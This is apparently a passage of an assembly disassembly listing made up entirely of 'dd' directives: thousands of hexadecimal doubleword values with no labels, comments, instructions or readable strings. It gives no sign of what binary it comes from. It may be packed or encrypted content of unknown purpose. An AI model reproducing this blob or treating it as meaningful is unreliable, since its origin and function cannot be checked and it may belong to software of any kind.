		dd 5113002Ah, 88B6053Eh, 731D4FEBh, 0C0247DA0h,	5C19FE00h
		dd 0E8363C5h, 0DB9157D4h, 80D7C8A5h, 0C917234Eh, 0C467F900h
		dd 77416102h, 56D0063h,	45BF14EBh, 8C2743DAh, 9F488587h
		dd 8424A4h, 0ECF67489h,	6F69C071h, 7901817Ch, 6046A99Ah
		dd 0F45072DFh, 0C1285EDh, 7413641Fh, 6EF401D0h,	11D5C600h
		dd 6CF9C0C2h, 0AE38004Ah, 0E89760BAh, 0D0005FA5h, 128D4CFBh
		dd 7F8CF7Dh, 2CC118EFh,	3D3960D2h, 0ECED0CBCh, 0F300243Eh
		dd 0B81CD0B7h, 294112h,	87E881AAh, 95F81303h, 0A254600h
		dd 0C7403501h, 0F9509092h, 8A12786Dh, 80AC53B5h, 26BDC8D8h
		dd 6522BF00h, 40D4C495h, 179E012Eh, 47AE8230h, 0F459D860h
		dd 95514600h, 0A6082DE0h, 87FD067Fh, 0C4D4FA9Ch, 0FB35D100h
		dd 3C7D76B3h, 0DDE90002h, 0CD66BA49h, 0F00BB1A7h, 8005E738h
		dd 700C3F56h, 0DD9B05EAh, 0AFCE7696h, 0F12F1280h, 40573C75h
		dd 610BD83Eh, 0DC003227h, 0C6D0D99h, 0AC37200h,	17F6EE12h
		dd 0DF1D1C45h, 0C11100E3h, 98C60C2Ah, 8C979B00h, 27CD6EEFh
		dd 0D41D0268h, 4B806FF8h, 40107460h, 3E142800h,	20BF4A86h
		dd 0AE3B0018h, 0E8A9DFD5h, 0CA00EF41h, 0D78C9E8Eh, 0B111FFh
		dd 55F37134h, 90BA8BD8h, 840D7200h, 219D80C9h, 76A41F06h
		dd 93F28053h
		dd 47A7A26Dh, 5CCC6E25h, 3DB70025h, 0CDB271F6h,	33CA93Ah
		dd 28BCE938h, 7226E10Dh, 0BEE0A371h, 6A8F16A8h,	56DB00A0h
		dd 5E5D1BE1h, 0B203E600h, 9B8647DAh, 3B811217h,	0A7CF00F9h
		dd 0EBECAE63h, 65EAB900h, 531E0D4Ch, 970C1421h,	7B00902Ch
		dd 9C0AD435h, 4601925Ch, 372AA098h, 8730DA11h, 0EE020029h
		dd 0B1D7B07Ch, 0C900668Eh, 1F9713F7h, 3A36583h,	948847B4h
		dd 2C809E0Dh, 7A00339Ch, 2A626CDBh, 1FBE210Fh, 4D275Eh
		dd 0AC7BA3CFh, 4700CE09h, 6FFE22F9h, 0D13AE5h, 0C2CF5658h
		dd 744AF2D8h, 5C045400h, 0FC9ADA75h, 0F6A0000Ah, 5EF52957h
		dd 0E00037BDh, 42E2724Eh, 0C0031E71h, 0CF5A8438h, 0F4A6755Dh
		dd 12101C3Dh, 51001602h, 3482E5D1h, 2C727Bh, 71ADCD4Dh
		dd 4314B39Ah, 0FB07DA00h, 0B6BAC6F8h, 0A6770Bh,	229B4B09h
		dd 0E654E8CDh, 0DA423100h, 23B4F460h, 88EB17DEh, 0C4F60952h
		dd 190D5803h, 37B98D90h, 50C2C812h, 115C5402h, 809C42F2h
		dd 6DE45D2Ch, 58F748EAh, 1FE3B17h, 0F22FFFE3h, 1900DBB7h
		dd 2A40F86Dh, 382D569h,	0E1EA73FBh, 9AB0E64Dh, 5D00EBA0h
		dd 1BC76EAAh, 7A2A3629h, 4D4B0401h, 809D1193h, 0C7333204h
		dd 484A0900h, 291F9C9Bh, 57F8DBh, 87C61AE8h, 0A4B63678h
		dd 0E2B3CD00h, 0C1F7E94Ah, 0D8BF14EFh, 153CD4A5h, 9E402C80h
		dd 0C84F52BCh, 0F2B36C00h, 5F4CC4E5h, 8CE82Bh, 0BBF00FDBh
		dd 0D478EC1Ah, 0FD0B7B28h, 0B0253B00h, 36B948Ch, 64AD00D0h
		dd 4576E6A0h, 8D065951h, 4D08E478h, 82CA0029h, 6DD70EC9h
		dd 723CD27Ch, 0ECA50080h, 56BA7F0Dh, 0DE7FFDh, 0BF450FAAh
		dd 0A16BD1D2h, 4447F400h, 0C4AC5646h, 0A2531C17h, 658F4038h
		dd 0D09F066Dh, 3452B600h, 533B0F94h, 0BDB500CBh, 0C4917F41h
		dd 4500856Eh, 0E594FAE1h, 0FFDCF02h, 0C25CBC52h, 8903DD03h
		dd 438CD6C0h, 8F0032F8h, 0B6E0A80h, 0E354EDh, 79EA9EB2h
		dd 0FF6D1B35h, 0E187C900h, 0F8E84064h, 0D4D80E50h, 38A0A970h
		dd 0A6CA4A08h, 4FC78200h, 0E04C048Dh, 7F45050Ch, 70FD97Bh
		dd 27C7B530h, 0AD6B808Dh, 8661EC22h, 9493B718h,	675184E0h
		dd 83BB1081h, 20965A8Bh, 0B5264E00h, 9E38066Eh,	8A89072Eh
		dd 8122C91Bh, 0C86D467Ah, 0F50F83E6h, 8081C557h, 334E306Bh
		dd 71C0007Fh, 0B91E6245h, 0D205B506h, 5886C587h, 0E0FF7A83h
		dd 0B06612h, 0C6C6E65h,	9B410E75h, 0CFD19414h, 8F8060ABh
		dd 0EE7B6B29h, 0E5040080h, 3E63AB39h, 7300F5E4h, 7225DFF0h
		dd 919E1Ah, 0D1CA350Ch,	694A884Ch, 68080100h, 77396FA9h
		dd 180D0C5Ch, 22189F8Eh, 87070A00h, 0FF358AA4h,	90597724h
		dd 20956048h, 4F0EA97Fh, 0E235A0A0h, 0CF0AE90Ch, 4BD93096h
		dd 0B508A0D6h, 0BFAB00Dh, 4088183Dh, 1E3E79A2h,	0EC078351h
		dd 0C801B9Ah, 80691F42h, 0B37310Ah, 97B0E19Ch, 3F986E13h
		dd 0BCD4570Ch, 218167F4h, 30898DA8h, 51C008C0h,	0B835C059h
		dd 0D181695Eh, 0BE870157h, 0C6EC098Ah, 0D241CCB6h, 9C125354h
		dd 840378Eh, 47C71CEh, 71C263B3h, 0BBE38BE9h, 3F1FE8F0h
		dd 60D0A934h, 8C576000h, 2E7AABh, 5BEB40Bh, 8A5A60E3h
		dd 21C4E400h, 14C3252Dh, 0D8D6003Bh, 64C6A9E7h,	1575DBFEh
		dd 0F773A302h, 808CED05h, 5048BBEFh, 3022E861h,	0BE70F9A4h
		dd 0C730630Ah, 0D760B9B4h, 3527BF5h, 18B9126h, 98A392CEh
		dd 0DF72217Eh, 0ED526303h, 0F0AA8D30h, 0A5D6CFDh, 8462BB83h
		dd 0E586028Ch, 0BC8136EFh, 5196884Dh, 9CA1DB98h, 0ED8A048h
		dd 0E02C8050h, 28DF62B3h, 980890A6h, 210E4E80h,	6FE5C87h
		dd 0D2183561h, 29F8206Fh, 0F0FD8601h, 0CAB83473h, 50453024h
		dd 60D2A081h, 41241067h, 0BB0943A9h, 792D8E3h, 3540A696h
		dd 1F909Dh, 0B3F22B20h,	0A1692C25h, 60007A76h, 647E2365h
		dd 0CDDE96h, 513A22B7h,	0B5F0F734h, 312BE600h, 49FEF621h
		dd 85B00F35h, 0ED8FE1ADh, 3D36E300h, 5702C4DCh,	67051310h
		dd 44DA802Dh, 1619C56h,	2A9E3FBEh, 0DB146C1Ch, 4D7ED90h
		dd 2C90BF1Dh, 76D7D80h,	7E06373h, 0E5E961A6h, 353B794h
		dd 0FA8BA156h, 7983C4A0h, 185FBA01h, 9550CF6Ch,	30E0D0h
		dd 126ECBE9h, 0FCD11B2Bh, 0BB657801h, 0AF6471FFh, 6A77A981h
		dd 9FAD3CFBh, 85B90D20h, 86CE6CB5h, 0D0EDC7ABh,	440A2C67h
		dd 0FFFC2E00h, 4905EF96h, 0E2E10CACh, 0D7484352h, 302E242Ch
		dd 0B25BD001h, 198006CEh, 5A81F73Fh, 5801DF0Fh,	115961B5h
		dd 91D05C0Bh, 4AD406E2h, 311055E3h, 0CFEE2600h,	92E92CCEh
		dd 0E8FB00D8h, 98DF09FCh, 0F000F34Eh, 10379F26h, 9C3D76h
		dd 0C14D14B8h, 21EACCFDh, 1D5C4200h, 0AB3B1E72h, 1F0E018Ch
		dd 83A070D7h, 0CFBAF8D4h, 25C7EE00h, 86EBDCE2h,	5801E884h
		dd 0C100C5E0h, 0DED9496Ah, 0E3DC2E8h, 4C6D18CEh, 0C3EF61h
		dd 0E7BF01F9h, 0F807B288h, 68B07A00h, 3B9353ECh, 3D7900BAh
		dd 0EDFFDAFBh, 500AD6Eh, 760A974Dh, 785A44A5h, 0D24F0EA8h
		dd 0D8039A7Ah, 7800CCF9h, 0AEF7751h, 3BAB464h, 1232EC93h
		dd 0A8F9F565h, 1C89C0F3h, 0E7E6700h, 262BBD63h,	0FE5B3051h
		dd 4675C541h, 17DA900h,	0CA94D20Bh, 124418D4h, 6A70F0C9h
		dd 0D7F45126h, 0C050B900h, 7444521Bh, 0CE220C8Bh, 0FD48FCCAh
		dd 81CB2A00h, 94FFB779h, 2FD300B9h, 282E32F0h, 4E036799h
		dd 0E6DD53EFh, 624D08Fh, 60E15C55h, 61FDE000h, 0C686DA6Ch
		dd 497BAB7Ch, 0A86B0600h, 0AA470A57h, 4083002Fh, 0A207DF2Ch
		dd 0C1006F95h, 0EE5E5022h, 0F00AF043h, 0DB970F7Fh, 480E23E6h
		dd 0F41EAF74h, 3EA686ACh, 29E85834h, 160B9BF6h,	8C1356F0h
		dd 3EFC66Ah, 0CFAC02C2h, 680054B7h, 3D2BA4Bh, 167B488h
		dd 2782FE5h, 0F05EA1AFh, 7300C693h, 0D60FDCE4h,	0F9A940AEh
		dd 0FB3A270h, 0ACC80DADh, 0D3F65520h, 88C04945h, 0CCCA4DDDh
		dd 52923D6Fh, 4C885A2Ah, 0B861BF28h, 0D0293F50h, 11C0FA4Ah
		dd 7806F1AEh, 956900DEh, 89E165D6h, 0BFEEDD66h,	5A189D1Ch
		dd 0C72E0A83h, 37B806EFh, 0A8FC5E7Fh, 0FAAAF218h, 93DD48h
		dd 0B8E37CE5h, 9CC84D38h, 97D7D000h, 0BA44CA27h, 0D64E0046h
		dd 1C4A8C1Ah, 6474B92Eh, 88DA3C00h, 0EB01F862h,	8D810C68h
		dd 0CE08B813h, 4AD221C0h, 14024CF8h, 0E29E0DD9h, 0EB8C5400h
		dd 65FC7931h, 0C474060Ch, 623068h, 8E56DD33h, 107E0280h
		dd 0FFD33803h, 0DF79E270h, 53720068h, 0D93F614Ch, 0A2477E01h
		dd 2BB393C2h, 5948AEB0h, 2867C5E4h, 6E604220h, 16EBA3C1h
		dd 198C6B0Ch, 91DA717Dh, 6F805BD0h, 80E03AF8h, 88B40CE3h
		dd 0F80777B9h, 548AC17Eh, 23436881h, 0FD1B1F0h,	0FEED60CAh
		dd 0ADA9F740h, 0D9032A6Fh, 3595CB47h, 0EED4A841h, 0D0980069h
		dd 4B1C7C7Eh, 0B0186DBDh, 27616BB1h, 919900BCh,	4BBA4E6Fh
		dd 4370D8E9h, 0FA1FF33Dh, 59E86260h, 3A059234h,	54037ED1h
		dd 0CEEE4D2Dh, 0FC335800h, 0E7D52E26h, 6F0800F2h, 1DEDC9Fh
		dd 2000B30Dh, 63CD819Eh, 0EB24F3h, 0A604494Eh, 0A82ECCE8h
		dd 695DEE00h, 0A01A8642h, 4615034Dh, 1B389D43h,	16373FA8h
		dd 0C0FDCB2Dh, 0C38D4C2Bh, 3D09A09h, 0F3BE1000h, 0F650C5DAh
		dd 3F5400DEh, 0E19764BBh, 9D0086BDh, 7F98FCF4h,	64D966B1h
		dd 23BA28CAh, 4844FC9Eh, 4FC548F8h, 0FA8C8490h,	0E433C44h
		dd 8600B387h, 18B54EEAh, 42DC00FCh, 0A7113390h,	17F209BFh
		dd 0D407CF70h, 0F871F79Dh
		dd 0FA14610h, 9492008Ah, 0C0FAE3BCh, 0E3A0DE1h,	7D2838EEh
		dd 0AE6F9614h, 8C0376BFh, 0B7ACC426h, 0DF73D02Bh, 659400C2h
		dd 3EE7EFDEh, 77001A8Bh, 0D4CBC74Dh, 369DA84h, 0C5BFCAF1h
		dd 0EABB7B94h, 9C8A3A0h, 359948h, 0B10B7ADBh, 7F0ED6E7h
		dd 165700F1h, 6EABCF33h, 3F0075F2h, 5E2B3409h, 7CD655E6h
		dd 5BBE00A6h, 2945C219h, 52262C97h, 250C3CF2h, 28F4DA27h
		dd 2CC0C22h, 0CCDE0A6Bh, 0D080D6E1h, 552042CAh,	8B46B300h
		dd 3B0EC7A7h, 716B01BFh, 2C938F27h, 4D28C0D8h, 30945000h
		dd 0FC3246F6h, 0B2701BBCh, 45902092h, 12012E99h, 0B02A2F52h
		dd 86FC2031h, 5DFB0098h, 1DAB5354h, 0BA0055B7h,	0A5C9B1C5h
		dd 122C9D90h, 7B49151h,	0F0460A12h, 0B6D80255h,	0B000FFB8h
		dd 1B438224h, 1CC7F415h, 40B283BFh, 9FE7E4Ah, 0B6505F73h
		dd 5B302B9Ch, 0DBAF1AF5h, 0B471D63h, 0E50F4004h, 85BA41E8h
		dd 0DCF8EB00h, 37DEA02Bh, 3CA70083h, 0F1FE0D27h, 4C00D055h
		dd 6F42BAFAh, 1EB0F2E5h, 4084044Bh, 17A7FD65h, 0CA001C02h
		dd 8CE05186h, 1D61D3Ch,	81DA4E4Bh, 80E51E78h, 0B90A1AD0h
		dd 34AF70h, 7198CC4h, 36AA3AC6h, 82043Ah, 295ABBE6h, 0EE5B2750h
		dd 0C211FAF7h, 9824069Ch, 0AAA5C080h, 4107F275h, 76A80C51h
		dd 8C4C0069h, 720BEFF8h, 0FF49031Ch, 27FAB4E9h,	5BEE7988h
		dd 0FC0044E6h, 1319E029h, 468685h, 0BD321EE6h, 26211BB9h
		dd 0CB4A9800h, 434EE445h, 3EC09DCCh, 1600A476h,	0E7F4AC9Fh
		dd 51D62Eh, 68BAFEC2h, 38C5A51Ah, 24E4F00h, 9B9F06B0h
		dd 0C2F80E21h, 1D297E7h, 301D24FCh, 6DA02F38h, 2BD1008Bh
		dd 0BD77939h, 3400530Dh, 816D6410h, 9F5E402h, 0EF862F77h
		dd 8B40C820h, 0DC00FA62h, 53238CAEh, 58F25845h,	40032ADh
		dd 6E5FF688h, 0FC02DA24h, 0F554E16Bh, 108E155h,	2D2770h
		dd 5A05AC63h, 734FCF38h, 38D3038h, 1961A402h, 8AC4F83Fh
		dd 57560037h, 3E9EC580h, 8B002AABh, 0D778DE6Dh,	0E62B2DCEh
		dd 9CC900A2h, 31CD3871h, 0D100894Eh, 1658312h, 0D384E1h
		dd 3DADBF28h, 0C8A99BEFh, 320A3400h, 4FD11180h,	4E5E077Bh
		dd 0AE0FFDCDh, 0C4013580h, 43FCA6FFh, 6BCC640Fh, 0C744C0EBh
		dd 0CB9B78h, 16EEF49Ch,	91D7FB5Ch, 7422F00h, 82C45095h
		dd 6402005Fh, 3305CD1Fh, 9E07A24Ah, 0F4F60116h,	92F39AA0h
		dd 3C9B00BFh, 6964CB9Fh, 0CC00D7E3h, 0FC1CEAB2h, 3E33584Dh
		dd 0B4009A6Dh, 2CE99789h, 600BE776h, 0D00C0B48h, 30280072h
		dd 82F5B0AAh, 0BB00F959h, 85CE2726h, 3B861258h,	79075A9Ch
		dd 3017D262h, 885E3D0Ah, 84CFF100h, 0F06C704Fh,	8FBF00CBh
		dd 77B56F54h, 69001B18h, 350D1640h, 0E43C630Fh,	5E6400ADh
		dd 33A453A8h, 0C1077995h, 15A3B950h, 2CA19240h,	0D64C1D8Ah
		dd 796808Eh, 0F2F6C758h, 0E71C552Eh, 52516400h,	1877D687h
		dd 646127DCh, 0B10001A1h, 0E30D042Fh, 1D22050h,	8B9D62E0h
		dd 0E8DD7F60h, 0A90F580Ch, 0EF0F9833h, 182D400Dh, 28B5A348h
		dd 0A0C9BEh, 92C54EC3h,	0AC66DBCBh, 8A0BB80Fh, 0AE3B80FBh
		dd 736BC694h, 0A8C0042Fh, 807FECABh, 0A0FB844h,	62D4D101h
		dd 79B1938h, 14E56EC4h,	0A0843211h, 5962500h, 2A8CABE6h
		dd 9A451A00h, 5C0ABD30h, 3BC8008Ah, 61DD9890h, 0F60039FEh
		dd 0F72A3D07h, 13AADAh,	0EF6BD49Ah, 8A11502Eh, 8900B7E0h
		dd 16D71B62h, 151F2F7h,	2E383170h, 0ECDC6FEFh, 0FF24737Ch
		dd 69003C5Dh, 0DA49118Dh, 3CBA0202h, 0FCCE36EDh, 0D18B4141h
		dd 0D78FC0FFh, 33E58800h, 16E7D003h, 32503FA6h,	0DC807A06h
		dd 0E9A12089h, 0CE8D404Bh, 7F005AC7h, 8F35A615h, 7E0CA29Bh
		dd 12DD0042h, 3C38250h,	8E07D92Ch, 191E99D1h, 95F5E9D0h
		dd 2096009Bh, 62849A34h, 2300CCB1h, 61AA52D4h, 147DDEh
		dd 8F5B4CB0h, 7469D30h,	0D07E5E00h, 0B4A1ACFh, 24850070h
		dd 0EFA01733h, 4F00C1EAh, 0DD43B06h, 60FDC5h, 5985D6CBh
		dd 15501BFAh, 7BA6AE00h, 0BED85A5Ch, 708D000Fh,	6516968Ah
		dd 9D00A59Fh, 7377F9B7h, 0B8F5373Bh, 0C6900B14h, 0D800A28Ah
		dd 0D4EB32D9h, 2AB0590Fh, 1AA52420h, 674E8080h,	0FC5B00C4h
		dd 0A23DF92Bh, 7E00E215h, 0D12EDDE8h, 0FDD435h,	0C10D30CEh
		dd 4D03ECE7h, 543ADE00h, 0E508B91Ah, 509816h, 0F57BD868h
		dd 494C35E7h, 0DE77960Eh, 9821E3E9h, 0FE418915h, 90C5E8h
		dd 268BBA6Bh, 0EA3DAA2Ah, 73681600h, 66B26221h,	88C8001Ch
		dd 0A5B5C9DDh, 0B4005BABh, 476CC387h, 7B28D0h, 2C7ADBCh
		dd 0CE1E9C73h, 4B13DDE0h, 7200AC19h, 59685052h,	3C2B07ABh
		dd 90D076B6h, 0CE51537Eh, 88F31100h, 0D76E2607h, 0E17F077Dh
		dd 0B9805ED9h, 4959A800h, 564860B5h, 254200CEh,	0EDFD4447h
		dd 0A737006Ch, 0EC8D9EBAh, 76263428h, 93803CE3h, 4F20A0B2h
		dd 47A900F4h, 77DA043Eh, 8A0CD22Bh, 0ECEF5E21h,	7A200087h
		dd 0F2652E5Dh, 6400DD1Ch, 0B4F4BCCAh, 1FAD3CC5h, 40885C87h
		dd 0EF1BE11Fh, 0DA003235h, 0ECE9AC64h, 0E7F19D1Ah, 0EDF03431h
		dd 28DB0096h, 0FA1C845Ah, 0BB98EA51h, 0EFA7C607h, 5B857201h
		dd 0FB6D18C0h, 30AD008Fh, 486F1652h, 28036449h,	7B06CBE0h
		dd 971C8C8h, 13B81DE2h,	7B7E8F1h, 0DDF95162h, 0A4E00E6Fh
		dd 0AF9F6742h, 60D88707h, 0B9F007DFh, 3869A9CDh, 3E309C97h
		dd 0E9D7B811h, 68884216h, 0BF4E505h, 0AA728200h, 9A2C1A7Fh
		dd 0FCC20030h, 0F9AD23B6h, 63010E84h, 0D1B0415Dh, 0F0CFC571h
		dd 392C5B8Fh, 7D934A88h, 6CC482Bh, 81458500h, 53A40Bh
		dd 8618935Ah, 0D7DA3837h, 0E6834700h, 0F8085C3Ah, 25CA00ECh
		dd 1A4F04D3h, 0D800856Fh, 584BD936h, 0C85BDFh, 3BA4E767h
		dd 72B34CFCh, 0A4ED753Bh, 14090F15h, 3C48A07Eh,	379E8FEh
		dd 6BC16963h, 9AC9F19Fh, 0CB10877Dh, 2AC04AA0h,	902CDBF3h
		dd 1CC90D0h, 59E80B2h, 0E89068EAh, 217ED37Ch, 1F2D8F00h
		dd 1AB108C2h, 294B3A78h, 0D1536800h, 660C19BDh,	90DFF1C5h
		dd 0C8AAC683h, 19959EC1h, 28174E41h, 0AB399B4Fh, 0BEC1D880h
		dd 14DF42F2h, 0E241F19h, 2074B2E4h, 0C2DA1789h,	285D0097h
		dd 900943D8h, 0B400DB35h, 51C3647Bh, 226831h, 6ED96506h
		dd 44C1ED1Ah, 45001CEAh, 310D9D03h, 1E6C8D84h, 8076274Ch
		dd 0E86F4D54h, 7A0066A6h, 884A74D4h, 3D12901h, 43F57690h
		dd 9AB0F97Ch, 0ED001160h, 0C6E8FD3Dh, 0FBA27Ah,	0D159AC39h
		dd 0AFB8DE62h, 10862603h, 0B86F1F47h, 7ADA92Fh,	9DB5B780h
		dd 0E0F08790h, 0FCA706CAh, 0B91E590Bh, 70020CC8h, 0E0F6DBh
		dd 9E3C17ECh, 2508B0D8h, 8F3D0C00h, 0A83E164Ch,	0ACE00076h
		dd 10DD05FEh, 5F0027E4h, 32C19626h, 0F00891h, 4F469023h
		dd 8F6068F7h, 29783360h, 32EF5Bh, 20219857h, 1285A4CCh
		dd 70118A00h, 0B8EE74B3h, 0D11F0008h, 3BE0B5F5h, 7500D61Bh
		dd 0C82CE2A9h, 0A8308843h, 2A6B8Ch, 17380959h, 49466A86h
		dd 88E9F518h, 705020h, 26A45DF9h, 0DDB7E6B2h, 0A1693C01h
		dd 0B949F68Dh, 0FFE9A8EFh, 0D0E7319Ch, 80948CA0h, 85C12EA9h
		dd 3A8AC37Dh, 4A004D10h, 88F8BA40h, 0AEE820A3h,	0A605CC00h
		dd 0AD280F52h, 3B710054h, 70150D66h, 2201A54Ah,	0D5DD55E0h
		dd 0E0E34720h, 0F689088h, 0BC5F0689h, 2D8564C0h, 0B600B01Eh
		dd 0A81D46Fh, 31DD0F5Bh, 0D0296643h, 19370056h,	7D28009Fh
		dd 0EF2B53D8h
		dd 2A0045CAh, 0C45A1436h, 5B3A49h, 0DB6A7C95h, 924E0878h
		dd 0C7B9F700h, 0A2E1F118h, 7C75B0B3h, 0F2CF00EDh, 0E2630246h
		dd 97076740h, 8D6AE447h, 68D2C9D0h, 0EABFF084h,	1497618h
		dd 4B193632h, 0DBC33A4Fh, 97FBF4D8h, 963D3400h,	0F841CAF9h
		dd 9BC40107h, 1CCFD1D2h, 0E8A8CFF5h, 0D830C955h, 126F1966h
		dd 2E41008Dh, 0AA45E682h, 8C07BF07h, 1EA29C6Ch,	80052CC2h
		dd 1AB3DFA0h, 0C25F0775h, 0E098BC85h, 8C718BB1h, 9078AF00h
		dd 5305CA8Fh, 227F009Ah, 87CE5A6Ch, 0C50E45CBh,	0BD068DDDh
		dd 272F3CC0h, 1326E6FDh, 0EC9AFFA5h, 0B38600BAh, 961A33F8h
		dd 2E3C00B2h, 0CEA4A9B7h, 720375DBh, 0DCA373ADh, 0B5C4E086h
		dd 53EE77h, 0B18EE51Ah,	0DA8248DFh, 0B6423C00h,	5F69D879h
		dd 25A4009Ah, 0A8D13E5Eh, 0A1B0F44Ch, 2257FF00h, 0E75294B6h
		dd 89A40011h, 0A239FCA3h, 240F99B7h, 0C53562h, 5AE270F2h
		dd 24A348A7h, 14063300h, 0E6EEE6Bh, 29FFEA1Dh, 130081D7h
		dd 7D4E3CFBh, 23EC00F0h, 0AFA69188h, 5400217Bh,	34080B64h
		dd 3DCF304Fh, 38004AADh, 4C47A53Dh, 0D6002286h,	7CAE70Ch
		dd 2FF2C0D4h, 50C05771h, 263CFBDAh, 91D5001Eh, 82CDAE87h
		dd 9F5900D6h, 2D633EC7h, 4C00A4E6h, 64E85E4Bh, 0B8ADAB81h
		dd 0DACA00D0h, 52795791h, 0A100B74Eh, 0B37360C5h, 26255396h
		dd 7EBC462h, 0F0FA6B70h, 4C3610F7h, 44DCEC16h, 8B1B0B00h
		dd 30DE393h, 52D83FE6h,	1790D363h, 4D54B379h, 0BA035F8Ch
		dd 623B2F97h, 0B441B8CAh, 0C2040348h, 4A3C9A93h, 7D517CD8h
		dd 1DE50B00h, 0BACDD808h, 85A71242h, 4170079h, 0C3112FC8h
		dd 0CB41380Fh, 7A00BFC9h, 0AD56078h, 0F266735Fh, 0CA870017h
		dd 80BF250Bh, 3D02DB18h, 4D7A507h, 0A48F40D0h, 0E2BE3B59h
		dd 384AB200h, 2C87EE9Fh, 1D010498h, 11B35448h, 8080DCB0h
		dd 929ACEB6h, 0AE1FFC1Ch, 0CD80A888h, 66FF7B18h, 0F1455119h
		dd 7C56BFE0h, 2B7A7Eh, 0ED44C517h, 2E79CF83h, 9A716832h
		dd 702C60EEh, 0C69A0101h, 0A88D2AB1h, 5EB84069h, 570013A7h
		dd 0A11F2832h, 0FCD92E06h, 88FC003Eh, 8B451E0Bh, 46098EE7h
		dd 80947B9Eh, 0A5631AA9h, 0C5D50002h, 57828C8h,	68C04B25h
		dd 12188BA8h, 0A294063Ch, 981A19D8h, 3B41A91Dh,	0CB07C8E8h
		dd 9E98F903h, 81AAE300h, 0FE621D3Ah, 0F8FBC0C4h, 401E0148h
		dd 8A3F7B00h, 6655D047h, 0D287002Eh, 21E66249h,	2F026E14h
		dd 9801CC91h, 0B31A408Fh, 0C87A0018h, 2380D3C3h, 920010E7h
		dd 608E5CE5h, 306A74A2h, 0AB8E283Dh, 1F04D935h,	932FC7A7h
		dd 0E39050C0h, 71593888h, 0DA849Ch, 0C410C11Eh,	0F706F076h
		dd 464A0635h, 0D11800E8h, 0A1DD82C0h, 0C2002802h, 1B3D988Dh
		dd 0FC80Eh, 2604B7D3h, 84236FF2h, 352AB000h, 5BB9622h
		dd 955000AAh, 8BD8D8Ah,	0DE000FC3h, 0C411C9A0h,	0E4AE3A5Fh
		dd 0A40A3BF5h, 0DE90A0FCh, 2001008Dh, 7024C139h, 150142FCh
		dd 4718AE30h, 71E502A9h, 0B8E5E4ECh, 0D0CE03EEh, 0CAA0383Dh
		dd 8C014BC8h, 0EB72DC1Ch, 20078B0Fh, 46A974C0h,	0D9A326DBh
		dd 0A2E8008Bh, 7342099h, 0EC522E07h, 21A0D656h,	0C3D4EBEFh
		dd 0F3FBA484h, 0DF9AC398h, 48F75839h, 771E079Ch, 1163732Dh
		dd 0C32800FDh, 0DD1AB095h, 55006A8Ah, 7B2F163Ah, 0AA6D03h
		dd 0E06EE1A7h, 0C449727Fh, 9040FF02h, 4832921Dh, 881058h
		dd 0C641ECFDh, 3353F944h, 0CFD38900h, 22AE81B2h, 0D04E0007h
		dd 46D93F7Ah, 0D2418FDh, 5180602Ch, 44A7FF37h, 0E2A200CDh
		dd 0A68B257Dh, 4200B96Bh, 465C8AB4h, 3F93A7BBh,	75DDE5h
		dd 0FB1DF2D5h, 0F9AFCD9Fh, 8366A00h, 0B9AE1F14h, 38880025h
		dd 0A3B5156h, 424CDED1h, 80333C4Fh, 0E1252A04h,	36B85A6h
		dd 482C5BF5h, 0EC80788Eh, 1216AB45h, 1600370Dh,	696FD302h
		dd 549A7Ch, 81FA5B4Ah, 0A81141E0h, 84C0E500h, 0F0557D80h
		dd 0D3A9260Fh, 0B7D701E5h, 0E84E42A7h, 4C7D0BC3h, 5DE33900h
		dd 7B6E553Eh, 0EABF005Bh, 6775D2CCh, 7A2CE2C7h,	0FA079472h
		dd 0E7C0475Ch, 504E29h,	0B131FFC8h, 0CC6C8A71h,	0B870163Ch
		dd 0FED5821Ah, 0EB3D9545h, 0ACC7E148h, 10E2440h, 75C81D66h
		dd 5EDE0190h, 0C0F06E95h, 8F03854Eh, 11634077h,	0B7C5C019h
		dd 200F006Fh, 0AA62ADFAh, 2051506h, 0F3C8A1FFh,	9874B4C0h
		dd 79230366h, 3FFA46A6h, 820DA2F8h, 64D160CAh, 8C0C4E4h
		dd 6EA422h, 77A7518Bh, 86F00C8Dh, 24A8A154h, 5D79EC13h
		dd 804C3E0Eh, 85654BA0h, 869C000Dh, 0BDDAAFEBh,	72E6F25Ch
		dd 0A309DF2h, 0C57AAEBBh, 0E8450082h, 557F710Dh, 3601C698h
		dd 2A9010A7h, 8F45759h,	0F77500FFh, 0A365C738h,	0F900EAD8h
		dd 86691D2Bh, 51685Bh, 0CEA28056h, 0CD0B2D73h, 6D1A9804h
		dd 1AAA95Eh, 6495E2A8h,	21ECE825h, 45ED9A13h, 218FB70Eh
		dd 4643E306h, 88C6F8h, 0F19E60F8h, 86A02E7Eh, 99C1AB00h
		dd 1C1072FFh, 0A5E40506h, 40310A27h, 3BC66AD8h,	320AFEBAh
		dd 0C8C70419h, 2152303Ah, 3BDF98h, 8A2F5679h, 80228439h
		dd 6F897A03h, 873AFF74h, 93090630h, 18A36594h, 0A6F2814Eh
		dd 7066F002h, 91F1890h,	7E1437B5h, 618D48EBh, 1CAD2A61h
		dd 0D3007028h, 1E207FA8h, 3400DC6Ch, 441BA75Dh,	48B9086Fh
		dd 0FF06125Fh, 68991D9Bh, 0F3038C7Dh, 0D87D2476h, 0E2F1F1A9h
		dd 26385980h, 0A775104Ah, 85C76900h, 4FD08F0Ch,	94403FD9h
		dd 0CF186B58h, 822B18DDh, 500AC7Ah, 97A56788h, 7D3596h
		dd 0E73119F8h, 0B110FAB4h, 57BC6600h, 65029A3Dh, 23DD0098h
		dd 277BD4F1h, 61E66E4Ah, 0A9FCFB09h, 6FFA80CBh,	0F54CBDh
		dd 0D28A8C20h, 0C12AE102h, 0F0030AFEh, 2C1FE048h, 0C3FA8890h
		dd 0B46C00BAh, 30DF79DEh, 3D003FB1h, 56341D22h,	3B2BC1AEh
		dd 79000FB6h, 4CAAB84Dh, 5B0E4427h, 8048A9E6h, 49D1B59Dh
		dd 66810087h, 0D0BA9441h, 0C912EF90h, 0BF0082DAh, 9BCB0984h
		dd 60DD000Fh, 39B22C20h, 0CF09D1B7h, 6AC872h, 0D95D0E4Dh
		dd 6F2F00E9h, 0F86D4C07h, 9B00B3A3h, 6E193F8Bh,	9F5DEAh
		dd 88CA4838h, 1ED53705h, 0A50A7802h, 0C2EA6D1Dh, 1035C385h
		dd 1C4F7A30h, 9BC0ABD2h, 1ED702B2h, 5E82006Dh, 0DDB14CCEh
		dd 0C560E222h, 7251628h, 0F7450056h, 8E509DAAh,	5F019E8Bh
		dd 0FC31AFD6h, 6EC7ECAh, 0C5DC05EEh, 83B7441Ah,	3007EC20h
		dd 0DA87B6B5h, 0F6435EF0h, 0A8314B9h, 0A91B9094h, 2848F022h
